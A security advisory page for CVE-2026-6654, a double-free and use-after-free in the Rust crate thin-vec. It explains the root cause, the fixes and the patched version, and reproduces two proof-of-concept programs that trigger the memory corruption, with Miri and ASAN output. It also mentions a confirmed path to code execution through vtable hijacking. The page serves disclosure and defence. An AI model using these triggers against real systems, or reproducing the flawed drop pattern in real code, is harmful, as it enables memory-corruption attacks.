# CVE-2026-6654: thin-vec RCE β€” Fixed in 0.2.16 πŸ¦€ πŸ¦€ crates.io Not in CISA KEV MEDIUM severity # CVE-2026-6654 β€” thin-vec MEDIUM CVE-2026-6654 is a medium-severity (CVSS 5.1) CWE-415 vulnerability in thin-vec. A fix is available for thin-vec β€” see the affected versions and patch details below. Use-After-Free and Double-Free in IntoIter::drop when element drop panics Also known as[GHSA-xphw-cqx3-667j](/vulnerability/GHSA-xphw-cqx3-667j)RUSTSEC-2026-0103 Published Apr 20, 2026 Updated Oct 28, 2026 Affected 1 pkg Patched 1 / 1 Exploits None indexed Exploitation data as of Nov 10, 2026 Β· OSV.dev, NVD, FIRST.org (EPSS) ## Exploitation Status ### No confirmed exploitation observed yet - CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment. Exploitation and automatability from CISA’s SSVC triage for CVE-2026-6654. ## EPSS Exploitation Probability [via FIRST.org β†—](https://www.first.org/epss/) 0.2%probability of exploitation in next 30 days Lower Risk0.00% Lower risk than most CVEs6th percentile β€” riskier than 6% of all scored CVEsHighest risk 0.00%0.22%0.45%0.67%0.0%0.2%May 26Sep 26Nov 26 Probability of exploitation in the next 30 days, from [FIRST.org EPSS](https://www.first.org/epss/). ## How urgent is this, really ## Where this sits among everything scored ## Real-World Exposure 1 pkg affected πŸ¦€`thin-vec` Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects crates.io packages β€” download data is not available via public APIs for these ecosystems. ## Description #### Summary A **Double Free / Use-After-Free (UAF)** vulnerability has been identified in the `IntoIter::drop` and `ThinVec::clear` implementations of the `thin_vec` crate. Both vulnerabilities share the same root cause and can trigger memory corruption using only safe Rust code β€” no `unsafe` blocks required. Undefined Behavior has been confirmed via **Miri** and **AddressSanitizer (ASAN)**. * * * #### Details Both vulnerabilities share the same root cause. When a **panic occurs** during sequential element deallocation, the subsequent length cleanup code (`set_len(0)`) is never executed. During stack unwinding, the container is dropped again, causing already-freed memory to be re-freed (Double Free / UAF). #### Vulnerability 1 β€” `IntoIter::drop` **Location:** `thin-vec/src/lib.rs` L.2308~2314 `IntoIter::drop` transfers ownership of the internal buffer via `mem::replace`, then sequentially frees elements via `ptr::drop_in_place`. If a panic occurs during element deallocation, `set_len_non_singleton(0)` is never reached. During unwinding, `vec` is dropped again, re-freeing already-freed elements. The standard library's `std::vec::IntoIter` prevents this with a **DropGuard pattern**, but thin-vec lacks this defense. ``` // Problematic structure (conceptual representation) impl Drop for IntoIter { fn drop(&mut self) { let mut vec = mem::replace(&mut self.vec, ThinVec::new()); unsafe { ptr::drop_in_place(vec.remaining_slice_mut()); // ← panic may occur here vec.set_len_non_singleton(0); // ← unreachable on panic } // During unwinding, vec is dropped again β†’ Double Free } } ``` #### Vulnerability 2 β€” `ThinVec::clear` `clear()` calls `ptr::drop_in_place(&mut self[..])` followed by `self.set_len(0)` to reset the length. If a panic occurs during element deallocation, `set_len(0)` is never executed. When the `ThinVec` itself is subsequently dropped, already-freed elements are freed again. ``` // Problematic structure (conceptual representation) pub fn clear(&mut self) { unsafe { ptr::drop_in_place(&mut self[..]); // ← panic may occur here self.set_len(0); // ← unreachable on panic } // ThinVec drop later β†’ Double Free } ``` #### Recommended Fix Both vulnerabilities can be resolved with the same pattern: - **DropGuard pattern:** Insert an RAII guard before `drop_in_place` to guarantee `set_len(0)` is called regardless of panic - **Pre-zeroing approach:** Set the length to 0 before calling `drop_in_place` * * * #### PoC **Requirements:** Rust nightly toolchain, `thin-vec = "0.2.14"` ``` # Miri cargo +nightly miri run # ASAN RUSTFLAGS="-Z sanitizer=address" cargo +nightly run --release ``` #### PoC-1: `IntoIter::drop` ``` use thin_vec::ThinVec; struct PanicBomb(String); impl Drop for PanicBomb { fn drop(&mut self) { if self.0 == "panic" { panic!("panic!"); } println!("Dropping: {}", self.0); } } fn main() { let mut v = ThinVec::new(); v.push(PanicBomb(String::from("normal1"))); v.push(PanicBomb(String::from("panic"))); // trigger element v.push(PanicBomb(String::from("normal2"))); let mut iter = v.into_iter(); iter.next(); // When iter is dropped: panic occurs at "panic" element // β†’ During unwinding, Double Drop is triggered on "normal1" (already freed) } ``` **Miri output:** ``` error: Undefined Behavior: pointer not dereferenceable: alloc227 has been freed, so this pointer is dangling stack backtrace: 3: ::drop ← Double Drop entry 6: as Drop>::drop::drop_non_singleton 9: as Drop>::drop::drop_non_singleton ← lib.rs:2310 (root cause) ``` **ASAN output:** ``` ==66150==ERROR: AddressSanitizer: heap-use-after-free on address 0x7afa685e0010 READ of size 7 at 0x7afa685e0010 #0 memcpy #4 drop_in_place:: ← Double Drop entry point #5 ::drop::drop_non_singleton #6 ::drop::drop_non_singleton ``` #### PoC-2: `ThinVec::clear` ``` use thin_vec::ThinVec; use std::panic; struct Poison(Box, &'static str); impl Drop for Poison { fn drop(&mut self) { if self.1 == "panic" { panic!("panic!"); } println!("Dropping: {}", self.0); } } fn main() { let mut v = ThinVec::new(); v.push(Poison(Box::new(1), "normal1")); // index 0 v.push(Poison(Box::new(2), "panic")); // index 1 β†’ panic triggered here v.push(Poison(Box::new(3), "normal2")); // index 2 let _ = panic::catch_unwind(panic::AssertUnwindSafe(|| { v.clear(); // panic occurs at "panic" element during clear() // β†’ set_len(0) is never called // β†’ already-freed elements are re-freed when v goes out of scope })); } ``` * * * #### Impact **Vulnerability classification:** - CWE-415: Double Free - CWE-416: Use-After-Free **Affected code:** All code satisfying the following conditions simultaneously: 1. `ThinVec` stores heap-owning types (`String`, `Vec`, `Box`, etc.) 2. (Vulnerability 1) An iterator is created via `into_iter()` and dropped before being fully consumed, or (Vulnerability 2) `clear()` is called while a remaining element's `Drop` implementation can panic 3. The `Drop` implementation of a remaining element triggers a panic Additionally, when combined with `Box` types, an exploit primitive enabling Arbitrary Code Execution (ACE) via heap spray and vtable hijacking has been confirmed. If the freed fat pointer slot (16 bytes) at the point of Double Drop is reclaimed by an attacker-controlled fake vtable, subsequent Drop calls can be redirected to attacker-controlled code. ## Affected Packages 1 total 1 fixed Ecosystem Package Vulnerable range Fix πŸ¦€crates.io `thin-vec` all versions 0.2.16`cargo update -p thin-vec --precise 0.2.16` ## Affected Products 1 product Β· 1 configurations Application `thin-vec`mozilla 1 version 0.2.15 ## Detection & mitigation playbook Open-source dependency 1. ### Detect Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for thin-vec, including transitive dependencies β€” a direct dependency you never call can still pull in a vulnerable version. 2. ### Fix Update thin-vec to 0.2.16 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range β€” O3 confirms CVE-2026-6654 is resolved across your whole dependency graph. 3. ### Workarounds Constrain what reaches the vulnerable code: limit the size and shape of untrusted input, isolate the affected component in a sandboxed or least-privileged process, and enable the platform's memory-safety mitigations (ASLR, stack protector, hardened allocator) so an out-of-bounds access is more likely to fail closed than to be exploitable. ## Frequently Asked Questions \### Summary A \*\*Double Free / Use-After-Free (UAF)\*\* vulnerability has been identified in the \`IntoIter::drop\` and \`ThinVec::clear\` implementations of the \`thin\_vec\` crate. Both vulnerabilities share the same root cause and can trigger memory corruption using only safe Rust code β€” no \`unsafe\` blocks required. Undefined Behavior has been confirmed via \*\*Miri\*\* and \*\*AddressSanitizer (ASAN)\*\*. --- ### Details Both vulnerabilities share the same root cause. When a \*\*panic occurs\*\* during sequential element deallocation, the subsequent length cleanup code (\`set\_len(0)\`) is never executed. Duri O3 Security Β· Impact-Aware SCA ### Is CVE-2026-6654 in your dependencies? Find it across crates.io, including transitive dependencies. [Scan my dependencies](/book-demo) [How O3 SCA works](/impact-aware-sca)